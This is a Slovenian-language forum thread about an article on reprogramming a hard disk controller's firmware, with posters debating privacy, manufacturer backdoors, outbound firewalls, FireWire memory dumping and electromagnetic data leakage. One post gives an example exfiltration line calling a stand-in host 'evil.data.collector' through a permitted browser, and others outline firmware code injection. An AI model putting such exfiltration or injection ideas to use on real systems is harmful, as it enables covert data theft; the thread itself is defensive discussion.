Zanimiv napad na kontroler trdega diska

BaToCarx je 12. avg 2013 ob 04:45 izjavil:

Vsem je že povsem jasno da 90% uporabnikov ST ima tajne in predvsem v miljardah evrov cenjene informacije, ki bi jih pol sveta takoj rado imelo, z raznimi metodami.

Ja, na primer jaz imam na svojem kompu tajne in skrajno dragocene informacije.

Recimo moj dnevnik oskrbovanja vrtička za bajto (si moram vse zapisati, sicer sem naslednje leto izgubljen med paradižniki...). Ali pa fotke kajakaških in plezalskih podvigov. Pa načrt za poličke v shrambi, če bi jih moral še enkrat narediti. Take zadeve.

Zdaj, ali je to skrajno dragoceno? Meni je, torej dokler sem živ, je skrajno dragoceno. Pika.

Ali je to tajno? Mater da je. Moram zakleti. U PM, to je tajno. Zakaj? Zato, ker sem jaz zasebni individium in sem se odločil, da so moje zasebne pizdarije tajne in sem se odločil, da na tej točki razvoja vrste in družbe imam do tega pravico. In nenazadnje, ker sem gorenjc in iz čiste trme. Ni tistega zakona, ki bi to trmo povozil, razen rubber hose zakona (kar je na žalost vse bližje...).

Zdaj, ali bi te informacije pol sveta rado takoj imelo? Zgleda da je tako. In sicer samo zato, ker jih ne dam na svetlo. Saj če bi jih dal, ne bi absolutno nikogar zanimale. Ampak jih ne dam iz navedenih razlogov. Ne dam jih pa pika. Požrite se.

Ah.... pa smo spet tam.. saj nimate nič za skrivat, kar naj gledajo... Če si pa terorist, te bodo pa na ta naičin dobili, kar je pa sploh fajn stvar.

Dejstvo je, da tole omogoča packarije, ali pa, da so že sami proizvajalci namontirali v kontrolerje packarije, morda samoiniciativno, morda po naročilu. Temlem ni nič več za zaupat. Še najboljša zaščita bo torej uporabljat kluster 486-k, in ogromno gručo 60MB diskov ;)

Izi je 12. avg 2013 ob 11:00 izjavil:

A tisti del, ko je moral odlotati čip, da ga je lahko Flashal ste pa kar vsi spregledali?

Iz članka:

Ofcourse, I could make this into a full hack, but needing to use JTAG to poke it in RAM every time the hard disk boots would make it pretty useless. I needed to make it persistant, that is, I needed to store my modifications somewhere where it would be picked up again every time the hard disk powers on. My location of choice was the flash rom. I could probably also have put it somewhere in the reserved sectors on the disk itself, but if I messed something up, I would have no way to recover my disk. The flash chip is just an eight-pin standard part, so I could easily take it out, flash it and put it in again. For that purpose, I desoldered it and put it on a bit of veroboard, so I could easily switch it between a programmer and the hard disk:

Brez lotanja mu je tudi delovalo.

Izi je 12. avg 2013 ob 11:00 izjavil:

Druga stvar, ki se jo pa res lahko bojimo, pa je kaj nam proizvajalci že sami vgradijo v svoj firmavere, ki je sedaj že tako rekoč v vsaki komponenti. V tem primeru pa pomaga edino dober obojestranski firewall. Se pravi, tak firewall, ki ne blokira samo sumljivih dostopov od zunaj. Danes je najpomembnejši firewall, ki prepreči vsakršno sumljivo pošiljanje podatkov ven iz našega računalnika.

In kaj pravijo tvoji firewalli? Kolikokrat se je do sedaj zgodilo, da ti je disk kotel nekaj poslati preko mreže nekomu drugemu?

Kako pa je z trdimi diski, ki so v zunanjih ohišjih in preko USB-ja povezani na računalnik? Lahko dobi remote dostop tudi do teh diskov? A prav razumem vse vkup? On lahko pridobi remote dostop do trdega diska in mu zamenja firmware na daljavo, kaj je prav grozljivo.

Kateri telefončki pa imajo open hardware?

Sicer pa je pri open hardware problem, da ti samo FW nič ne pomaga, dokler ne moreš sam zbuildati tudi hardvera, za kar pa niti približno nimaš resourcov.

darkolord> Kateri telefončki pa imajo open hardware?

FreeRunner: http://www.openmoko.com/freerunner.html

Izi, Jst, če omogočita "izhod" browser-ju, potem zlobna koda mora samo sprožiti obisk URL-ja http://evil.data.collector/victim_data_...... ?

MrStein je 12. avg 2013 ob 13:06 izjavil:

Izi, Jst, če omogočita "izhod" browser-ju, potem zlobna koda mora samo sprožiti obisk URL-ja http://evil.data.collector/victim_data_...... ?

Link ti ne deluje.
Drugače pa izhod določiš samo točno določenemu procesu. Saj ne odpreš recimo porta 80, kar za vse programe. Če na primer izhod dovoliš samo za Firefox.exe, ne more noben drug proces izkoristiti tega izhoda. Vsak proces ima svoje unikatno ime in se ne more kar pretvarjati, da je nekdo drug.

Kot je Jst omenil, tudi jaz uporabljam kar vgrajeni "Windows Firewall with Advanced Security". Sem pregledal vse kar obstaja na področji softwareskih firewallow pa je ta edini, ki zadosti vsem mojim potrebam. Je pa na žalost mnogo preveč kompliciran za navadne uporabnike. Vsako izhodno pravilo je treba ročno sestaviti.

Zato sem pa omenil, da je vsak Firewall, ki teče na OSu, omejen.

Če imaš pa dodatno kišto, ki služi kot firewall, ima pa tudi svoje slabosti.

---

>Sem pregledal vse kar obstaja na področji softwareskih firewallow pa je ta
>edini, ki zadosti vsem mojim potrebam.

V bistvu so drugi firewall-i ponavadi "samo" dumbed down layer za Windowsov firewall. Razen kakšni, ki jih je treba plačati (mesečno plačevati). Enterprise izdelki - kateri imajo še druge mehanizme (IDS, logging), ki so pa za navadnega uporabnika overkill. Z wf.msc se fajn namučiš po frišnem postavljanju sistema, ampak imaš tako potem kompleten nadzor, kaj OS spušča v svet.

Ne me držat za besedo, vendar se mi zdi da sem bral o tem, da je možna komunikacija med različnimi napravami (npr. pci mrežna kartica in sata disk) v računalniku brez uporabe programov na OSu.

darkolord je 12. avg 2013 ob 14:46 izjavil:

Nikakor pa s spremembo firmwarea nihče od zunaj ne bi mogel dostopati do podatkov.

Motiš se. Firmware od diska lahko prestreže zahtevek za branje izvršljive datoteke in v odgovor injecta del kode, ki počne ravno to. Ko ti iz diska prebereš "firefox.exe", dobiš "firefox.exe z dodatkom", ki tvoje podatke iz procesa firefoxa lepo razpošilja ven po portu 80. Na primer.

V tem primeru sicer pomaga enkripcija, so pa še druge stvari ...

Kar je natanko to kar je Travis naredil in o postopku razlaga v svojem predavanju - hotel je namestiti stvari na svoj Samsung SmartTV, kjer preverjajo podpise datotek za nadgradnjo. Ko je firmware v prvem passu preveril podpis mu je USB poslal "pravo" datoteko, ko pa je začel datoteko brati pri nadgradnji, pa je dobil drugo datoteko z drugo vsebino.

Jaz sem se odločil, da je moje stanovanje tajno, pa mi iz sosednjega bloka z daljnogledom noter špegajo. Sem hotel zazidati okna, pa se bojim, da je v malti kakšna luknja. V tem primeru bi to bil samo strošek.

Skrajni čas, da se začne delati na open source strojni opremi.

>To je delno zaradi vse večje želje po boljšem performansu

Ter še: Firmware naprave ali kosa hardware-a v računalniku je - poenostavljeno povedano - v bistvu OS te naprave. Driver pa skrbi, da se "glavni" OS (Win, linux, *bsd,...) lahko pogovarja z napravo.

Za primer razmislite, kaj vse mora početi Sandforce kontroler v SSDju. Skrbeti mora za pisanje, ki, kot vemo, mora prvo pobrisati celoten page pred pisanjem, skrbeti za enakomerno rabo, ob tem pa še stiska podatke.

Pri hibridnih diskih je zadeva še bolj kompleksna.

Nazadnje pa imajo komponente (in naprave) še debug mode.

Vektorjev za napad je ogromno.

Izi je 12. avg 2013 ob 13:50 izjavil:

MrStein je 12. avg 2013 ob 13:06 izjavil:

Izi, Jst, če omogočita "izhod" browser-ju, potem zlobna koda mora samo sprožiti obisk URL-ja http://evil.data.collector/victim_data_...... ?

Link ti ne deluje.

Seveda ne, če je samo primer.

Drugače pa izhod določiš samo točno določenemu procesu. Saj ne odpreš recimo porta 80, kar za vse programe. Če na primer izhod dovoliš samo za Firefox.exe, ne more noben drug proces izkoristiti tega izhoda.

exec("firefox.exe","hxxp://evil.data.collector/victim_data_"); // hxxp da ST ne popači vrstice

Da naprednih trikov ne omenjam.
Ne trdim, da imaš luknjo, ampak da "omejiti izhod na firefox.exe" niti približno ni tisto, kar se komu na prvi pogled zdi. Si probal kake leak teste?

Kot je Jst omenil, tudi jaz uporabljam kar vgrajeni "Windows Firewall with Advanced Security". Sem pregledal vse kar obstaja na področji softwareskih firewallow pa je ta edini, ki zadosti vsem mojim potrebam. Je pa na žalost mnogo preveč kompliciran za navadne uporabnike. Vsako izhodno pravilo je treba ročno sestaviti.

Kar kliče po po GUI frontendu. (saj je nekdo že omenil, da so 3rd party firewall-i baje le to)

Rias Gremory je 12. avg 2013 ob 16:41 izjavil:

Skrajni čas, da se začne delati na open source strojni opremi.

Open-source hardware @ Wikipedia ?

Z dobrim mikroskopom vidiš glih, da čip "je". Nekaj 10k+ tranzistorjev na par kvadratnih milimetrih je pa nekaj drugega...

In ravno zaradi tega ti vse skupaj bore malo pomaga.

Poglej si recimo do kakšnih detajlov na forumih prežvekujejo maske prihajajočega Steamrollerja.

Če kot maske misliš tisti thumbnail od die shota, je približno tako, kot če bi gledal satelitsko sliko kitajske tovarne in iz nje probal ugotoviti, ali te kitajci lupijo pri štancanju.

Tam je na vsakem pikslu slike kakih 1000 tranzistorjev.

darkolord je 12. avg 2013 ob 20:14 izjavil:

Poglej si recimo do kakšnih detajlov na forumih prežvekujejo maske prihajajočega Steamrollerja.

Če kot maske misliš tisti thumbnail od die shota, je približno tako, kot če bi gledal satelitsko sliko kitajske tovarne in iz nje probal ugotoviti, ali te kitajci lupijo pri štancanju.

Tam je na vsakem pikslu slike kakih 1000 tranzistorjev.

Probaj s 1000 tranzistorji naredit kaj pametnega, da tega ne bo nihče izvohal in da ne bo vplivalo na karakteristike čipa.

Tudi če ti rata, bo za to potrebno daleč več truda od simpl programčka v internem FLASH-u.

Pa ni 2x za reč, da se folk ob splavitvi ne bi prikazal z daleč bolj detaljno sliko. Folk deenkapsulira čipe brez neke raketne tehnike. Njihovo branje je druga stvar ampak sken maske ne bi smel biti tak problem.

Probaj s 1000 tranzistorji naredit kaj pametnega, da tega ne bo nihče izvohal in da ne bo vplivalo na karakteristike čipa.

1000 tranzistorjev je manj kot 1 promil pri tistem AMDju. Na oni slikici je milijon tranzistorjev na 10x10pix (še zmeraj _popolnoma_ neprepoznavno).

Tudi daleč daleč bolj detajlna slika je popolnoma neuporabna za detajlne analize - te ročno deenkapsulirane pa sploh. Pri kakšnih enostavnih starih mikrokontrolerjih ali kaj podobnega še gre, pri sodobnih procesorjih pa niti približno.

Malo ti skala ni jasna - nožice tranzistorjev so pri že kar nekaj let starem postopku debele milijoninko milimetra, kar je samo nekaj atomov.

Niso problem transistorji in te zadeve v procesorjih, saj ne štancajo na procesorje zadev, če se mene vpraša.
Pač pa je narejen posebej čip za to, ki ga ruknejo na katerokol napravo in omogoča dostop.
Mislim, da se tudi te opcije ne poslužujejo kaj dosti, ker to stane, zadeve pa morajo biti poceni.
Se pravi bolj problematične so naprave, kjer ti lahko shraniš gor svoj softwer, ki dela to in to.
Ja mislim da dejansko bi lahko naredil svoj varen PC, če bi naložil na vsako komponento svoj firmware in naredil svoj bios.
Zato tudi določene firme NE dovoljujejo nalaganja česarkoli na naprave, kot naprimer apple.

Dejstvo pa je, da kdor se dober spozna na programiranje, lahko snifa promet na izhodu mrežne kartice in se da marsikaj ugotoviti ali kaj hodi na net brez našega dovoljenja. Seveda je spet vprašanje če ta sniferski program dela nonstop ali samo, ko ga sprožijo.

No, na kratko par zadev.

Malce sem razmislil glede varnosti oz. rešitev in načeloma vidim dva problema.

Prvič. Problema spreminjanja podatkov se lahko rešimo s softwerskim šifriranjem diska. Takrat disk ne ve kateri podatki so na njem in tudi ne ve kako jih (smiselno) spreminjati. Lahko jih sicer okvari, ampak to rešujemo z backupom.

Drugič. Trdi disk ima direct memory access, kar pomeni, da lahko bere in piše po RAM-u mimo procesorja in mimo operacijskega sistema. Sicer mu dostop do RAM-a omogoča MMU (Memory management unit), v sodelovanju z OS-om (predvidevam). Kar pomeni, da ga operacijski sistem lahko omeji pri dostopu do RAM-a (se pravi ne more krasti šifrirnih ključev oziroma injectati zlonamerne kode direktno v RAM). Če seveda OS to omogoča.

No, tule me zanima še kakšno strokovno mnenje, ker teh zadev ne poznam toliko.

Namreč, ori firewire je recimo tako, da je preko firewire vmesnika mogoče packati po celotnem RAM-u in OS oz. CPU tega ne zaznata. Deluje pa to Windowsih (testiral sem v Xp - lahko sem preko firewire dumpnil celoten RAM, vključno s šifrirnimi ključi), v Linuxu pa od popravka pred par leti ne več. O tem pripravljam članek za "malo šolo informacijske varnosti" na http://pravokator.si.

Toliko o zaščiti.

Zdaj pa firewalli. Zakaj mislite, da je mogoče podate ven iz računalnika pošiljati samo preko omrežja?

Kuhn in Anderson sta napisala en zanimiv članek*, v katerem sta leta 1998 (!) opisala možnost, da bi nekdo razvil poseben virus, ki bi s pomočjo povečane aktivnosti, npr. procesorja ali trdega diska oziroma prek ohranjevalnika zaslona, oddajal sporočila v obliki sprememb elektromagnetnega sevanja. Avtorja sta se poigravala z idejo razvoja posebne programske opreme za ugotavljanje piratstva v podjetjih. Tak program naj bi s pomočjo opisanega generiranja elektromagnetnega sevanja v časovnih intervalih oddajal licenčne številke programske opreme skupaj z naključno številko, kar bi prisluškovalcem omogočilo ugotoviti, koliko različnih kopij nekega programa uporablja določeno podjetje, ne da bi fizično sploh vstopili v njegovo stavbo (strani 125-126 in 136).

* Markus G. Kuhn, Ross J. Anderson. 1998. Soft Tempest: Hidden Data Transmission Using Electromagnetic Emanations.

No, kako pa sedaj pomaga firewall?

Aja, pa še izraz krmilnik. Ja, žal sem ga nekako spregledal. Sem imel ves čas tak občutek, da kontroler ne zveni dobro, ampak se nisem spomnil, da bi pogledal v iSlovar.

Drugače pa definitivno bi bila korak v pravo smer opensource strojna programska oprema. Sicer ta korak ne bi 100% zagotovil varnosti, kljub temu pa bi jo kar precej izboljšal. Žal Coreboot projekt napreduje zelo počasi (ampak glej ga vraga - podpirajo vse Chromebooke!), pri ostalih zadevah smo pa šele čisto na začetku...

In ker simetrija v fiziki deluje, ti lahko z UV preveriš izdelek, če so ga oni z UVjem uspeli osvetliti in skozi žnj postopkov obdelati.

Sploh pa, kot rečeno, več kot površni check verjetno niti ne rabiš.

Mene ne zanima debelina nanosa posamezne vezi ali širina tam enkega razmaka. Ta je mogoče pomembna za funkcionalni test, ampak ker tu ne loviš imperfekcij postopka ampak _namenske_ backdoore, to tle ne igra vloge.

Tu ne govorimo o primerih, ko je na dekoderju naslovov v nekem sklopu nekdo pozabil upoštevati dodatnih zakasnitev na nekem od signalov, zaradi česar bi mogoče v nekaterih pogojih na nekaterih čipih v nekih temperaturah in napetostih prišel skozi TLB cache naslov, ki ne bi smel.

Tak bug je seveda moč izrabiti, ni pa njegova izraba predvidljiva, kar za backdoor rabiš.
Ni pa videti, kako bi to naredil:

- neopazno, s subtilno "napako"
- tako da ne rušiš lastnosti vezja ( dodatne zakasnitve in s tem bistveno manjša hitrost)
- da se nihče ne bo spotaknil ob to in da ni verjetno, da bodo stvar izvohali hekerji, sploh tisti, ki si imajo priložnost ogledati čip.

Da ne govorimo o tem, da mora proizvajalec čipa uporabiti postopke, ki jih bo ta preživel.

Tebi pri analizi tega ni treba. Komot lahko uporabiš elektronski mikroskop ali recimo tega s tipalom na tunelski efekt, če te kje zanimajo kakšni detajli.

ko smo že pri storage kontrolerjih, še vedno se sprašujem kak magic se dogaja in-depth v sandforce kontrolerjih (sploh ta durawrite).

In glede na to da niti proizvajalci nimajo dostopa do kode, vprašanje kaj vse se še dogaja zram :D